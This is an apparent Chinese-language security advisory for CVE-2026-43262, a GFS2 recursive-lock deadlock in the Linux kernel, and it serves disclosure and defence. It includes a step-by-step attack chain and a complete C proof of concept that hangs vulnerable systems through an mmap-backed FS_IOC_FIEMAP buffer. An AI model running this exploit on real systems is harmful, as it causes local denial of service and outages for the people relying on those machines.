IPBUF安全漏洞报告
English
CVE-2026-43262 CVSS 5.5 中危

CVE-2026-43262 Linux内核GFS2递归锁漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43262
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelGFS2DoSRace ConditionLocalDeadlock

漏洞概述

该漏洞存在于Linux内核的GFS2文件系统中。在gfs2_fiemap()函数执行期间,由于持有inode glock调用iomap_fiemap(),若fiemap缓冲区被映射到同一inode,访问时触发缺页中断会导致递归获取glock,从而引发死锁或系统不稳定。攻击者可利用此漏洞造成本地拒绝服务。

技术细节

漏洞源于Linux内核GFS2文件系统在处理fiemap请求时的锁逻辑缺陷。具体来说,gfs2_fiemap()在持有inode glock的情况下直接调用了iomap_fiemap()。如果攻击者精心构造场景,使得用户空间提供的fiemap缓冲区是通过mmap系统调用映射到同一个GFS2 inode的内存区域,那么当内核尝试写入该缓冲区时,会触发缺页异常。GFS2处理缺页异常需要再次获取该inode的glock以读取数据,从而在已经持有锁的情况下再次尝试获取锁,造成死锁。这种递归锁获取违反了GFS2的锁设计原则,导致内核进程挂起,进而引发本地拒绝服务。修复方案是在调用iomap_fiemap()前禁用缺页中断,并手动处理缓冲区填充。

攻击链分析

STEP 1
1
攻击者获得本地访问权限,并在系统上找到一个挂载的GFS2文件系统。
STEP 2
2
攻击者在GFS2文件系统上创建或打开一个目标文件。
STEP 3
3
攻击者使用mmap系统调用将该文件映射到用户空间的内存区域。
STEP 4
4
攻击者构造FS_IOC_FIEMAP ioctl请求,并将输出缓冲区指针指向步骤3中映射的内存地址。
STEP 5
5
内核执行gfs2_fiemap(),在持有inode glock的情况下尝试写入缓冲区。
STEP 6
6
由于缓冲区对应的页面未在物理内存中(或被换出),触发缺页异常。
STEP 7
7
缺页处理程序尝试读取文件数据以填充页面,需要递归获取同一个inode glock,导致死锁(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43262: Trigger recursive glock in GFS2 * Compile: gcc -o poc_gfs2 poc_gfs2.c * Usage: ./poc_gfs2 /path/to/file/on/gfs2 */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <linux/fs.h> #include <linux/fiemap.h> #include <unistd.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <file_on_gfs2>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 1; } // Map the file into memory. This creates the page table entries. char *map = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); close(fd); return 1; } // Prepare the fiemap structure inside the mapped memory region. // This makes the kernel write to the file itself while holding the lock. struct fiemap *fiemap = (struct fiemap *)map; fiemap->fm_start = 0; fiemap->fm_length = 4096; // ~UINT64_MAX; fiemap->fm_flags = 0; fiemap->fm_extent_count = 1; fiemap->fm_reserved = 0; printf("[+] Triggering FS_IOC_FIEMAP with buffer mapped to the same inode...\n"); // This ioctl call will trigger the page fault inside gfs2_fiemap // while holding the glock, causing the deadlock. if (ioctl(fd, FS_IOC_FIEMAP, fiemap) < 0) { perror("ioctl"); // If the kernel hangs, this might not print. } printf("[+] Exploit finished. System might be unresponsive if vulnerable.\n"); munmap(map, 4096); close(fd); return 0; }

影响范围

Linux Kernel (需参考Git提交修复)

防御指南

临时缓解措施
建议限制对GFS2文件系统的本地访问权限,并监控内核日志中是否存在与gfs2_fiemap相关的死锁或异常报错。如果无法立即升级内核,应严格限制本地用户的执行权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表